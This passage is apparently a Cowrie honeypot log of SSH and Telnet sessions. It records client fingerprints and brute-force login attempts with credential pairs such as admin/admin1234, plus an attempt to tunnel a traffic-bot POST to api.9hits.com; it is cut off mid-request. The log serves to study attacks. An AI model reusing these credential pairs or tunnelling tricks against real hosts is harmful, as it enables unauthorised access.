{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:20.206921Z","src_ip":"45.153.34.195","session":"1edc683521fa","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:20.279516Z","src_ip":"91.92.40.36","session":"2f2852b20fd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:20.283000Z","src_ip":"91.92.40.36","session":"2f2852b20fd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":57196,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f40489504d2","protocol":"ssh","message":"New connection: 23.175.50.52:57196 (10.17.0.5:22) [session: 3f40489504d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:21.378363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:21.384172Z","src_ip":"23.175.50.52","session":"3f40489504d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:21.525516Z","src_ip":"23.175.50.52","session":"3f40489504d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":40172,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e0bb0a2f4b6","protocol":"ssh","message":"New connection: 45.153.34.195:40172 (10.17.0.5:22) [session: 2e0bb0a2f4b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:21.535951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:21.543831Z","src_ip":"45.153.34.195","session":"2e0bb0a2f4b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:21.631348Z","src_ip":"45.153.34.195","session":"2e0bb0a2f4b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"69","message":"login attempt [root/69] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:21.971175Z","src_ip":"45.153.34.195","session":"2e0bb0a2f4b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:23.060571Z","src_ip":"45.153.34.195","session":"2e0bb0a2f4b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":38802,"dst_ip":"159.203.135.109","dst_port":22,"session":"0465e26ef224","protocol":"ssh","message":"New connection: 91.92.40.36:38802 (159.203.135.109:22) [session: 0465e26ef224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:23.227563Z"}
{"eventid":"cowrie.session.closed","duration":"24.0","message":"Connection lost after 24.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:24.146946Z","src_ip":"91.92.40.36","session":"6cc7acb22ae2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:24.214075Z","src_ip":"23.175.50.52","session":"3f40489504d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":51476,"dst_ip":"159.203.135.109","dst_port":23,"session":"04d433fc7dc2","protocol":"telnet","message":"New connection: 172.81.62.90:51476 (159.203.135.109:23) [session: 04d433fc7dc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:24.260766Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":34876,"dst_ip":"10.17.0.5","dst_port":22,"session":"781cdb39f73c","protocol":"ssh","message":"New connection: 45.153.34.195:34876 (10.17.0.5:22) [session: 781cdb39f73c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:24.487082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:24.514967Z","src_ip":"45.153.34.195","session":"781cdb39f73c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:24.606412Z","src_ip":"45.153.34.195","session":"781cdb39f73c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"benjamin","password":"benjamin","message":"login attempt [benjamin/benjamin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:24.907304Z","src_ip":"45.153.34.195","session":"781cdb39f73c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:26.050950Z","src_ip":"45.153.34.195","session":"781cdb39f73c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:26.965246Z","src_ip":"91.92.40.36","session":"0465e26ef224","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:26.969551Z","src_ip":"91.92.40.36","session":"0465e26ef224","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":34890,"dst_ip":"10.17.0.5","dst_port":22,"session":"89895fc3dc49","protocol":"ssh","message":"New connection: 45.153.34.195:34890 (10.17.0.5:22) [session: 89895fc3dc49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:27.202790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:27.213522Z","src_ip":"45.153.34.195","session":"89895fc3dc49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:27.507354Z","src_ip":"45.153.34.195","session":"89895fc3dc49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo123","message":"login attempt [demo/demo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:27.944565Z","src_ip":"45.153.34.195","session":"89895fc3dc49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":35458,"dst_ip":"159.203.135.109","dst_port":22,"session":"0abbd7822397","protocol":"ssh","message":"New connection: 91.92.40.36:35458 (159.203.135.109:22) [session: 0abbd7822397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:28.530605Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:29.109508Z","src_ip":"45.153.34.195","session":"89895fc3dc49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":34902,"dst_ip":"10.17.0.5","dst_port":22,"session":"f82693dd0dec","protocol":"ssh","message":"New connection: 45.153.34.195:34902 (10.17.0.5:22) [session: f82693dd0dec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:30.120291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:30.132989Z","src_ip":"45.153.34.195","session":"f82693dd0dec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:30.217327Z","src_ip":"45.153.34.195","session":"f82693dd0dec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abc123","message":"login attempt [admin/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:30.742364Z","src_ip":"45.153.34.195","session":"f82693dd0dec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:30.807045Z","session":"3f40489504d2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:30.927480Z","src_ip":"23.175.50.52","session":"3f40489504d2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.7 Mobile/18G69 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1150\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=e3c5YVohJWRXS05eQVNXPg%3D%3DqyT1HJ4hMMUZl8pxJe45b3YcTOYIyskjru5kGzqHEA2sTGrUgC1sPKWriYKJIA7ZyiE7zvJ2wawa5GCQWQiU8TUDGrmOxmKZX20Y2ymkCtLKWRsWYpe5FG3fyJ9lJLtGGdvSU2XlFx02N3a1iX65GKBxbJMLR8Ax%2Fye%2B5y1wYreZNlmIwu4LPklFD6UQ0kvKt1nVWdwBGZ2Jw0pmPXXqNdHIaCl7BteO2eaHIuGnXUvFyHVM6UJ7icgmWdnfC6FjBVev5qGUPx4%2F%2Bx7L2jSLZdxlLk6U6bdPZ%2BHkD5BNxAcnjbmlGlbxl3O%2BbGSBb%2Fs0UknANRN8jDJbKGpNqkp5F%2FR0eWDKJf7O2JOl5kYmv%2B8aEMZwX%2FH2katKHlmYRgFLA31ULyoiemQXJRLXZHsdMixu%2F%2FDKZJ9AghhOe8ZsL5eJ1O5fZKHdRNDZYkPbCXHHyOKjypLFRwTfFijDf9MioOCndOjWf9ZFGkM0xct0goIr1lfczNueIhyoxdUcyZORpDCkXaHJ861R%2BY6xmgoc5HRtZv%2BzjUOa9RhmL%2BGt5j4lucTgn3lrkLRUfLt8J3dTTZLqEjnp39M730GrttKrR1la0D%2BIcVGSuJTtiCN7h32AQWidOXCUmtAo9dPQRJOgR3E1DeiOvoCJOxBK2u1mFa2WQulVeaScGaKZlmzdK9FyAUKkyiKc5Pw6iIiox7mTqeKeVL9fC2G6arjMf7mHdNoit51uHACGkMejKZZGpRjDIyOzr4k6PnogyYDyCD4kPGabXlDH3r6ryvhsDTnWkI67phWXXfO%2BGkNg3KwIYfb7tWR08mG6DWRsPE0WUPHd37EoQDKyc5ZIlj2vwpVOxd28rLU29Vb6aVi%2BWnaA6RXghoTIbCnRYI%2Fwdg7XN9LoWLEx0nAsLvXoyKIUw5FCOno8JruAma%2B8DDu4uDw2lvpI7KE8Zq8%2Baucw9jVNe2AStmffFAAMH7M4yw79kJFPA0IaHyaU2GYbwFYaIg%2FP4QweqPQpncRLob5f815ne6Evn6BtCLiTi5M%2BDrQ8Uo4%2FL7iuk2GKwo7%2FD8HD5w0XTfM%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.7 Mobile/18G69 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1150\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=e3c5YVohJWRXS05eQVNXPg%3D%3DqyT1HJ4hMMUZl8pxJe45b3YcTOYIyskjru5kGzqHEA2sTGrUgC1sPKWriYKJIA7ZyiE7zvJ2wawa5GCQWQiU8TUDGrmOxmKZX20Y2ymkCtLKWRsWYpe5FG3fyJ9lJLtGGdvSU2XlFx02N3a1iX65GKBxbJMLR8Ax%2Fye%2B5y1wYreZNlmIwu4LPklFD6UQ0kvKt1nVWdwBGZ2Jw0pmPXXqNdHIaCl7BteO2eaHIuGnXUvFyHVM6UJ7icgmWdnfC6FjBVev5qGUPx4%2F%2Bx7L2jSLZdxlLk6U6bdPZ%2BHkD5BNxAcnjbmlGlbxl3O%2BbGSBb%2Fs0UknANRN8jDJbKGpNqkp5F%2FR0eWDKJf7O2JOl5kYmv%2B8aEMZwX%2FH2katKHlmYRgFLA31ULyoiemQXJRLXZHsdMixu%2F%2FDKZJ9AghhOe8ZsL5eJ1O5fZKHdRNDZYkPbCXHHyOKjypLFRwTfFijDf9MioOCndOjWf9ZFGkM0xct0goIr1lfczNueIhyoxdUcyZORpDCkXaHJ861R%2BY6xmgoc5HRtZv%2BzjUOa9RhmL%2BGt5j4lucTgn3lrkLRUfLt8J3dTTZLqEjnp39M730GrttKrR1la0D%2BIcVGSuJTtiCN7h32AQWidOXCUmtAo9dPQRJOgR3E1DeiOvoCJOxBK2u1mFa2WQulVeaScGaKZlmzdK9FyAUKkyiKc5Pw6iIiox7mTqeKeVL9fC2G6arjM